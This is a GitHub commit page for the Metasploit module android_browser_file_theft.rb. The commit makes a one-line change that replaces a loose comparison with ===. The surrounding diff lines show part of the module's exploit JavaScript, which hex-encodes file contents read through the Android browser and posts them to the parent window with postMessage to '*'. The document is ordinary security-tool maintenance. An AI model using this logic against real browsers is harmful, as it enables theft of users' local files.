Skip to content

Commit ccd0712

Browse files
committed
Use ===, doh.
1 parent fefd4e2 commit ccd0712

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/auxiliary/gather/android_browser_file_theft.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -143,7 +143,7 @@ def exploit_js
143143
return (c.length < 2) ? 0+c : c;
144144
}).join(new String);
145145
/*ensures there are no 'not allowed' responses that appear to be valid data*/
146-
if (hex.length && hex.indexOf('#{Rex::Text.to_hex("<html><body>not allowed</body></html>","")}') == '-1') {
146+
if (hex.length && hex.indexOf('#{Rex::Text.to_hex("<html><body>not allowed</body></html>","")}') === -1) {
147147
top.postMessage({data:hex,url:location.href}, '*');
148148
}
149149
parent.postMessage(1,'*');

0 commit comments

Comments
 (0)